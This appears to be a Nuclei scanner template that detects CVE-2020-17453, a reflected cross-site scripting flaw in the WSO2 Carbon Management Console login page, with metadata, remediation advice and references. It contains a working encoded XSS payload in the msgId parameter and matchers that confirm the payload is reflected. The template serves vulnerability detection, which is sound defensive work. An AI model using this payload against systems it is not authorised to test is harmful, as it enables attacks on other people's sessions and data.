id: CVE-2020-17453 info: name: WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting author: madrobot severity: medium description: WSO2 Management Console through 5.10 is susceptible to reflected cross-site scripting which can be exploited by tampering a request parameter in Management Console. This can be performed in both authenticated and unauthenticated requests. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application. remediation: | Upgrade to a patched version of WSO2 Carbon Management Console (5.11 or above) or apply the provided security patch to mitigate this vulnerability. reference: - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-1132 - https://nvd.nist.gov/vuln/detail/CVE-2020-17453 - https://twitter.com/JacksonHHax/status/1374681422678519813 - https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2021/WSO2-2020-1132/ - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-17453 cwe-id: CWE-79 epss-score: 0.00845 epss-percentile: 0.81776 cpe: cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: wso2 product: api_manager tags: cve2020,cve,xss,wso2 http: - method: GET path: - '{{BaseURL}}/carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F' matchers-condition: and matchers: - type: word part: body words: - "'';alert('document.domain')//';" - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4b0a0048304602210092b852f9302eb1a2350db061c59c70735a053c59eb95b4415e36f93732431357022100c8e4a5c459eca3f34966e4ce587f09ac4174a89e0f127b7c9a14f5cf381d461b:922c64590222798bb761d5b6d8e72950